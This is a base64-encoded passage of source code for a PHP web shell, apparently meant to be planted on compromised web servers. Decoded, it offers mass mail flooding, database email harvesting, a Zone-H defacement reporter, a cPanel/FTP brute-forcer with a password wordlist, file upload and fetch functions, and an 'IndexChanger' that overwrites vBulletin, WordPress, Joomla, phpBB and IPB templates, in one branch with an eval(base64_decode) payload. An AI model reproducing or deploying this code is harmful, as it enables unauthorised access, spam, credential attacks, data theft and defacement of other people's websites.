CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPk1haWwgU3Rvcm0gPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+Cgk8dGV4dGFyZWEgcm93cz0nNScgY29scz0nNDUnIG5hbWU9J0NvbW1lbnRzJyA+QXR0YWNrZXIgTWVzc2FnZTwvdGV4dGFyZWE+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndG8nIHZhbHVlPSdUYXJnZXQgRW1haWwnID4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSdub20nIHZhbHVlPScxMDAnPgoJPGlucHV0IG5hbWU9J3NlbmRNYWlsU3Rvcm0nIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1NlbmQgTWFpbCBTdG9ybSAnID4KCTwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4KCTwhLS0gRW5kIE9mIE1haWwgU3Rvcm0gLS0+Cgk8L3RkPgoJPHRkIHZhbGlnbj0ndG9wJz4KCTwhLS0gU1FMIFF1ZXJ5IC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPlNRTCBRdWVyeTwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPgoJPGlucHV0IHR5cGUgPSAndGV4dCcgbmFtZT1cIlFVX0hPU1RcIiB2YWx1ZT0nMTI3LjAuMC4xJz4KCTxpbnB1dCB0eXBlID0gJ3RleHQnIG5hbWU9XCJRVV9VU0VSXCIgdmFsdWU9J0RCIFVzZXInPjxici8+Cgk8aW5wdXQgdHlwZSA9ICd0ZXh0JyBuYW1lPVwmcXVvdDtRVV9QQVNTXCZxdW90OyB2YWx1ZT0nREIgUGFzcyc+Cgk8aW5wdXQgdHlwZT10ZXh0IG5hbWU9XCZxdW90O1FVX0RCXCZxdW90OyB2YWx1ZT0nREIgTmFtZScgPgoJPHRleHRhcmVhIG5hbWU9J1FVJyAgcm93cz0yIGNvbHM9NTA+U0VMRUNUICogRlJPTSBlbXAgOzwvdGV4dGFyZWE+Cgk8aW5wdXQgbmFtZT0nTXlTUUxRdWVyeScgdHlwZT0nc3VibWl0Jz4KCTwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4KCTwhLS0gU1FMIFF1ZXJ5ICAtLT4KCTwvdGQ+Cgk8dGQgdmFsaWduPSd0b3AnPgoJPCEtLSBFbWFpbCBFeHRyYWN0b3IgLS0+Cgk8Zm9ybSBtZXRob2Q9UE9TVD48dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgIGlkPSdCb3gnPjx0cj4KICAgIDx0ZCB3aWR0aD0nMTInIGhlaWdodD0nMjEnIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiIuJHNoZWxsQ29sb3IuIic+Jm5ic3A7PC90ZD4KICAgIDx0ZCBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4Oyc+RW1haWwgRXh0cmFjdG9yPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+Cgk8aW5wdXQgdHlwZSA9ICd0ZXh0JyBuYW1lPSdFTV9IT1NUJyB2YWx1ZT0nMTI3LjAuMC4xJz4KICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdFTV9VU0VSJyB2YWx1ZT0nREIgdXNlcic+Cgk8aW5wdXQgdHlwZSA9J3RleHQnIG5hbWU9J0VNX1BBU1MnIHZhbHVlPSdEQiBwYXNzJz4KICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdFTV9EQicgdmFsdWU9J0RCIG5hbWUnPgoJPGlucHV0IHR5cGUgPSd0ZXh0JyBuYW1lPSdFTV9UQUJMRScgdmFsdWU9J3VzZXJzIFRhYmxlJz4KCTxpbnB1dCB0eXBlID0ndGV4dCcgbmFtZT0nRU1fQ09MVU1OJyB2YWx1ZT0nZW1haWxzIENvbHVtbic+PGJyLz4KCTxpbnB1dCBuYW1lPSdnZXRFbWFpbHMnIHR5cGU9J3N1Ym1pdCcgaWQ9J3N1Ym1pdCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiB2YWx1ZT1FeHRyYWN0IG5vdyAhJz4KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc/JyBuYW1lPSdlbWFpbEV4dHJhY3RvckhlbHAnICBhbHQ9J0VtYWlsIEV4dHJhY3RvciBIZWxwJy8+Cgk8L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+Cgk8IS0tIEVuZCBPZiBFbWFpbCBFeHRyYWN0b3IgLS0+Cgk8L3RkPgoJPC90cj4KCTx0cj4KCTx0ZCB2YWxpZ249J3RvcCc+Cgk8IS0tIFpvbmUtSCAtLT4KCTxmb3JtIG1ldGhvZD1QT1NUPjx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyAgaWQ9J0JveCc+PHRyPgogICAgPHRkIHdpZHRoPScxMicgaGVpZ2h0PScyMScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6Ii4kc2hlbGxDb2xvci4iJz4mbmJzcDs8L3RkPgogICAgPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7Jz5ab25lLUggRGVmYWNlcjwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPiI7CgllY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlZmFjZXIiIHNpemU9IjQwIiB2YWx1ZT0iQXR0YWNrZXIiIC8+CjxzZWxlY3QgbmFtZT0iaGFja21vZGUiPgo8b3B0aW9uID4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEiPmtub3duIHZ1bG5lcmFiaWxpdHkgKGkuZS4gdW5wYXRjaGVkIHN5c3RlbSk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiIgPnVuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyIgPmNvbmZpZ3VyYXRpb24gLyBhZG1pbi4gbWlzdGFrZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0IiA+YnJ1dGUgZm9yY2UgYXR0YWNrPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUiID5zb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNiIgPldlYiBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjciID5XZWIgU2VydmVyIGV4dGVybmFsIG1vZHVsZSBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iOCIgPk1haWwgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI5IiA+RlRQIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiID5TU0ggU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMSIgPlRlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEyIiA+UlBDIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTMiID5TaGFyZXMgbWlzY29uZmlndXJhdGlvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNCIgPk90aGVyIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTUiID5TUUwgSW5qZWN0aW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE2IiA+VVJMIFBvaXNvbmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE4IiA+T3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1Zzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3MgYnJ1dGVmb3JjaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwIiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIyIiA+QXR0YWNrIGFnYWluc3QgYWRtaW5pc3RyYXRvcihwYXNzd29yZCBzdGVhbGluZy9zbmlmZmluZyk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjMiID5BY2Nlc3MgY3JlZGVudGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSBhdHRhY2s8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNSIgPlJlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGJydXRlZm9yY2U8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjYiID5SZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBGaXJld2FsbDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNyIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyOCIgPkROUyBhdHRhY2sgdGhyb3VnaCBzb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjkiID5ETlMgYXR0YWNrIHRocm91Z2ggY2FjaGUgcG9pc29uaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPgo8L3NlbGVjdD4KCjxzZWxlY3QgbmFtZT0icmVhc29uIj4KPG9wdGlvbiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIiA+SGVoLi4uanVzdCBmb3IgZnVuITwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyIiA+UmV2ZW5nZSBhZ2FpbnN0IHRoYXQgd2Vic2l0ZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzIiA+UG9saXRpY2FsIHJlYXNvbnM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNCIgPkFzIGEgY2hhbGxlbmdlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUiID5JIGp1c3Qgd2FudCB0byBiZSB0aGUgYmVzdCBkZWZhY2VyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjYiID5QYXRyaW90aXNtPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjciID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+Cjwvc2VsZWN0Pgo8dGV4dGFyZWEgbmFtZT0iZG9tYWluIiBjb2xzPSI0NCIgcm93cz0iOSI+TGlzdCBPZiBEb21haW5zPC90ZXh0YXJlYT4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgTm93ICEiIG5hbWU9IlNlbmROb3dUb1pvbmVIIiAvPgo8L2Zvcm0+JzsKCWVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4KCTwhLS0gRW5kIE9mIFpvbmUtSCAtLT4KCTwvdGQ+Cgk8dGQgdmFsaWduPSd0b3AnPgoJPCEtLSBDcGFuZWwgQW5kIEZUUCBCcnV0ZUZvcmNlIEF0dGFja2VyIC0tPgoJCTxmb3JtIG1ldGhvZD1QT1NUPjx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyAgaWQ9J0JveCc+PHRyPgogICAgPHRkIHdpZHRoPScxMicgaGVpZ2h0PScyMScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6Ii4kc2hlbGxDb2xvci4iJz4mbmJzcDs8L3RkPgogICAgPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7Jz5DcGFuZWwgQW5kIEZUUCBCcnV0ZUZvcmNlIDwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPgoJPHRleHRhcmVhIHJvd3M9JzEyJyBuYW1lPSd1c2VycycgY29scz0nMjMnID4iOwoJQHN5c3RlbSgnbHMgL3Zhci9tYWlsJyk7CgllY2hvICI8L3RleHRhcmVhPgoJPHRleHRhcmVhIHJvd3M9JzEyJyBuYW1lPSdwYXNzd29yZHMnIGNvbHM9JzIzJyA+MTIzMTIzXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjE1OTE1OVxuMTEyMjMzXG4zMzIyMTFcbiFAIyQlXlxuXiUkI0AhLlxuIUAjJCVeJlxuIUAjJCVeJipcbiFAIyQKCiVeJiooXG5wYXNzd29yZFxucGFzc3dkXG5wYXNzd29yZHNcbnBhc3NcbnBAYXNzdzByZFxucGFzc0B3b3JkMQoJPC90ZXh0YXJlYT4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0nMTI3LjAuMC4xJyA+Cgk8aW5wdXQgbmFtZT0nY3JhY2t0eXBlJyB2YWx1ZT0nY3BhbmVsJyBjaGVja2VkIHR5cGU9J3JhZGlvJz48c3k+Q3BhbmVsICgyMDgyKTwvc3k+Cgk8aW5wdXQgbmFtZT0nY3JhY2t0eXBlJyB2YWx1ZT0nZnRwJyB0eXBlPSdyYWRpbyc+PHN5PkZ0cCAoMjEpPC9zeT4KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICBDcmFjayBpdCAhICAgJyBuYW1lPSdCcnV0ZUZvcmNlQ3BhbmVsQW5kRlRQJyA+Cgk8L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+Cgk8IS0tIEVuZCBPZiBDcGFuZWwgQW5kIEZUUCBCcnV0ZUZvcmNlIEF0dGFja2VyIC0tPgoJPC90ZD4KCTx0ZCB2YWxpZ249J3RvcCc+Cgk8IS0tIFVwbG9hZCBGaWxlcyAtLT4KCTxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgbWV0aG9kPVwiUE9TVFwiPjx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyAgaWQ9J0JveCc+PHRyPgogICAgPHRkIHdpZHRoPScxMicgaGVpZ2h0PScyMScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6Ii4kc2hlbGxDb2xvci4iJz4mbmJzcDs8L3RkPgogICAgPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7Jz5VcGxvYWQgRmlsZXMgPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZmlsZVtdXCI+Cgk8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVXBsb2FkIEZpbGVzXCIgbmFtZT0nVXBsb2FkTm93Jz4KCTwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4KCTwhLS0gRW5kIE9mIFVwbG9hZCBGaWxlcyAtLT4KCTwvdGQ+PC90cj4KCTwvdGFibGU+CgkiOwoJaWYoJF9QT1NUWydjaGFuZ2VEaXJlY3RvcnknXSkKCXsKCQkkZGlyZWN0b3J5ID0gJF9QT1NUWydkaXJlY3RvcnknXTsKCQkkZGlyZWN0b3J5ID0gQHN0cl9yZXBsYWNlKCJcXFxcIiwiICIsJGRpcmVjdG9yeSk7CgkJJGRpcmVjdG9yeSA9IEBzdHJfcmVwbGFjZSgiICIsIlxcIiwkZGlyZWN0b3J5KTsKCQlAY2hkaXIoJGRpcmVjdG9yeSk7Cgl9CQoJaWYoJF9QT1NUWydnZXRGaWxlJ10pCgl7CgkJJGZpbGVVcmwgPSAkX1BPU1RbJ2ZpbGVVcmwnXTsKCQkkZ2V0VHlwZSA9ICRfUE9TVFsnZ2V0VHlwZSddOwoJCUV4ZSgiJyIuJGdldFR5cGUuJGZpbGVVcmwuIiciKTsKCX0KZm9vdGVyKCk7Cn0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgICAgICAgICAgICBJbmRleENoYW5nZXIgICAgICAgICAgICAgICAgIwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKaWYgKCRfR0VUWydpZCddPT0gJ3NjcmlwdHNIYWNrJyApCnsKCWVjaG8gIgoJPHRhYmxlIHdpZHRoPScxMDAlJz4KCQk8dHI+CgkJPHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBjb2xzPScxNTMnIHJvd3M9JzEwJz4iOwoJCWlmKCRfUE9TVFsnVXBkYXRlSW5kZXgnXSB8fCAkX1BPU1RbJ2NoYW5nZUluZm8nXSApCgkJewoJCQkkaG9zdCA9ICRfUE9TVFsnSE9TVCddOwoJCQkkdXNlciA9ICRfUE9TVFsnVVNFUiddOwoJCQkkcGFzcyA9ICRfUE9TVFsnUEFTUyddOwoJCQkkZGIgICA9ICRfUE9TVFsnREInXTsKCQkJJGluZGV4ID0gJF9QT1NUWydJTkRFWCddOwoJCQkkcHJlZml4ICA9ICRfUE9TVFsnUFJFRklYJ107CgkJCWlmIChlbXB0eSgkX1BPU1RbJ0hPU1QnXSkpCgkJCSRob3N0ID0gJzEyNy4wLjAuMSc7CgkJCSRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOwoJCQlAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCAiWy1dIFVuYWJsZSBUTyBDb25uZWN0IERBVEFCQVNFICEgVXNlcm5hbWUgT3IgUGFzc3dvcmQgSXMgV3JvbmcgISEiKTsKCQkJQG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSAoIlstXSBEYXRhYmFzZSBOYW1lIElzIFdyb25nICEhIik7CgkJCQoJCQlpZigkX1BPU1RbJ1VwZGF0ZUluZGV4J10pCgkJCXsJCgkJCQlpZiAoJF9QT1NUWydTY3JpcHRUeXBlJ10gPT0gJ3ZiJykKCQkJCXsKCQkJCQkkZnVsbF9pbmRleCAgPSAie1wke2V2YWwoYmFzZTY0X2RlY29kZShcJyI7CgkJCQkJJGZ1bGxfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyBcIiRpbmRleFwiOyIpOwoJCQkJCSRmdWxsX2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7CgkJCQkJaWYoJF9QT1NUWydpbmplY3RGQVEnXSkKCQkJCQl7CgkJCQkJCSRpbmplY3RmYXEgPSBAbXlzcWxfcXVlcnkoIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRmdWxsX2luZGV4LiInIFdIRVJFIHRpdGxlID0nZmFxJyIpOwoJCQkJCX0KCQkJCQllbHNlIAoJCQkJCXsKCQkJCQkJJG9rMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kZnVsbF9pbmRleC4iJyBXSEVSRSB0aXRsZSA9J2ZvcnVtaG9tZSciKTsKCQkJCQkJaWYgKCEkb2sxKQoJCQkJCQl7CgkJCQkJCQkkb2syID0gbXlzcWxfcXVlcnkoIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRmdWxsX2luZGV4LiInIFdIRVJFIHRpdGxlID0naGVhZGVyJyIpOwoJCQkJCQl9CgkJCQkJCWVsc2VpZiAoISRvazIpCgkJCQkJCXsKCQkJCQkJCSRvazMgPSBteXNxbF9xdWVyeSgiVVBEQVRFIHRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIuJGZ1bGxfaW5kZXguIicgV0hFUkUgdGl0bGUgPSdzcGFjZXJfb3BlbiciKTsgCgkJCQkJCX0KCQkJCQkJZWxzZWlmKCEkb2szKQoJCQkJCQl7CgkJCQkJCQkkb2s0ID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kZnVsbF9pbmRleC4iJyBXSEVSRSB0aXRsZSA9J2ZhcSciKTsKCQkJCQkJfQoJCQkJCX0KCQkJCQlteXNxbF9jbG9zZSgpOwoJCQkJCWlmICgkb2sxIHx8ICRvazIgfHwgJG9rMyB8fCAkb2s0IHx8ICRpbmplY3RmYXEgKQoJCQkJCXsKCQkJCQkJdXBkYXRlKCk7CgkJCQkJfQoJCQkJCWVsc2UgCgkJCQkJewoJCQkJCQllY2hvICJVcGRhdGluZyBIYXMgRmFpbGVkICEiOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UgaWYgKCRfUE9TVFsnU2NyaXB0VHlwZSddID09ICd3cCcpCgkJCQl7CgkJCQkJJHRhYmxlTmFtZSA9ICRwcmVmaXguInBvc3RzIiA7CgkJCQkJJG9rMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHRhYmxlTmFtZSBTRVQgcG9zdF90aXRsZSA9JyIuJGluZGV4LiInIFdIRVJFIElEID4gMCAiKTsKCQkJCQlpZighJG9rMSkKCQkJCQl7CgkJCQkJCSRvazIgPSBteXNxbF9xdWVyeSgiVVBEQVRFICR0YWJsZU5hbWUgU0VUIHBvc3RfY29udGVudCA9JyIuJGluZGV4LiInIFdIRVJFIElEID4gMCAiKTsgCgkJCQkJfQoJCQkJCWVsc2VpZighJG9rMikKCQkJCQl7CgkJCQkJCSRvazMgPSBteXNxbF9xdWVyeSgiVVBEQVRFICR0YWJsZU5hbWUgU0VUIHBvc3RfbmFtZSA9JyIuJGluZGV4LiInIFdIRVJFIElEID4gMCAiKTsgCgkJCQkJfQoJCQkJCW15c3FsX2Nsb3NlKCk7CgkJCQkJaWYgKCRvazEgfHwgJG9rMiB8fCAkb2szKQoJCQkJCXsKCQkJCQkJdXBkYXRlKCk7CgkJCQkJfQoJCQkJCWVsc2UgCgkJCQkJewoJCQkJCQllY2hvICJVcGRhdGluZyBIYXMgRmFpbGVkICEiOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UgaWYgKCRfUE9TVFsnU2NyaXB0VHlwZSddID09ICdqb3MnKQoJCQkJewoJCQkJCSRqb3NfdGFibGVfbmFtZSA9ICRwcmVmaXguIm1lbnUiIDsKCQkJCQkkam9zX3RhYmxlX25hbWUyID0gJHByZWZpeC4ibW9kdWxlcyIgOwoJCQkJCSRvazEgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRqb3NfdGFibGVfbmFtZSBTRVQgbmFtZSA9JyIuJGluZGV4LiInIFdIRVJFIElEID4gMCAiKTsKCQkJCQlpZighJG9rMSkKCQkJCQl7CgkJCQkJCSRvazIgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRqb3NfdGFibGVfbmFtZTIgU0VUIHRpdGxlID0nIi4kaW5kZXguIicgV0hFUkUgSUQgPiAwICIpOwoJCQkJCX0KCQkJCQlteXNxbF9jbG9zZSgpOwoJCQkJCWlmICgkb2sxIHx8ICRvazIgfHwgJG9rMykKCQkJCQl7CgkJCQkJCXVwZGF0ZSgpOwoJCQkJCX0KCQkJCQllbHNlIAoJCQkJCXsKCQkJCQkJZWNobyAiVXBkYXRpbmcgSGFzIEZhaWxlZCAhIjsKCQkJCQl9CgkJCQl9CgkJCQllbHNlIGlmICgkX1BPU1RbJ1NjcmlwdFR5cGUnXSA9PSAncGhwYmInKQoJCQkJewoJCQkJCSRwaHBfdGFibGVfbmFtZSA9ICRwcmVmaXguImZvcnVtcyI7CgkJCQkJJHBocF90YWJsZV9uYW1lMiA9ICRwcmVmaXguInBvc3RzIjsKCQkJCQkkb2sxID0gbXlzcWxfcXVlcnkoIlVQREFURSAkcGhwX3RhYmxlX25hbWUgU0VUIGZvcnVtX25hbWUgPScuJGluZGV4LicgV0hFUkUgZm9ydW1faWQgPiAwICIpOwoJCQkJCWlmKCEkb2sxKQoJCQkJCXsKCQkJCQkJJG9rMiA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHBocF90YWJsZV9uYW1lMiBTRVQgcG9zdF9zdWJqZWN0ID0nLiRpbmRleC4nIFdIRVJFIHBvc3RfaWQgPiAwICIpOyAKCQkJCQl9CgkJCQkJbXlzcWxfY2xvc2UoKTsKCQkJCQlpZiAoJG9rMSB8fCAkb2syIHx8ICRvazMpCgkJCQkJewoJCQkJCQl1cGRhdGUoKTsKCQkJCQl9CgkJCQkJZWxzZSAKCQkJCQl7CgkJCQkJCWVjaG8gIlVwZGF0aW5nIEhhcyBGYWlsZWQgISI7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZSBpZiAoJF9QT1NUWydTY3JpcHRUeXBlJ10gPT0gJ2lwYicpCgkJCQl7CgkJCQkJJGlwX3RhYmxlX25hbWUgPSAkcHJlZml4LiJjb21wb25lbnRzIiA7CgkJCQkJJGlwX3RhYmxlX25hbWUyID0gJHByZWZpeC4iZm9ydW1zIiA7CgkJCQkJJGlwX3RhYmxlX25hbWUzID0gJHByZWZpeC4icG9zdHMiIDsKCQkJCQkkb2sxID0gbXlzcWxfcXVlcnkoIlVQREFURSAkaXBfdGFibGVfbmFtZSBTRVQgY29tX3RpdGxlID0nIi4kaW5kZXguIicgV0hFUkUgY29tX2lkID4gMCIpOwoJCQkJCWlmKCEkb2sxKQoJCQkJCXsKCQkJCQkJJG9rMiA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJGlwX3RhYmxlX25hbWUyIFNFVCBuYW1lID0nIi4kaW5kZXguIicgV0hFUkUgaWQgID4gMCIpOyAKCQkJCQl9CgkJCQkJaWYoISRvazIpCgkJCQkJewoJCQkJCQkkb2szID0gbXlzcWxfcXVlcnkoIlVQREFURSAkaXBfdGFibGVfbmFtZTMgU0VUIHBvc3QgID0nIi4kSVBfSU5ERVguIicgV0hFUkUgcGlkIDwxMCIpICBvciBkaWUoIkNhbid0IFVwZGF0ZSBUZW1wbGF0ZXMgCgohISIpOyAKCQkJCQl9CgkJCQkJbXlzcWxfY2xvc2UoKTsKCQkJCQlpZiAoJG9rMSB8fCAkb2syIHx8ICRvazMpCgkJCQkJewoJCQkJCQl1cGRhdGUoKTsKCQkJCQl9CgkJCQkJZWxzZSAKCQkJCQl7CgkJCQkJCWVjaG8gIlVwZGF0aW5nIEhhcyBGYWlsZWQgISI7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZSBpZiAoJF9QT1NUWydTY3JpcHRUeXBlJ10gPT0gJ3NtZicpCgkJCQl7CgkJCQkJJHRhYmxlX25hbWUgP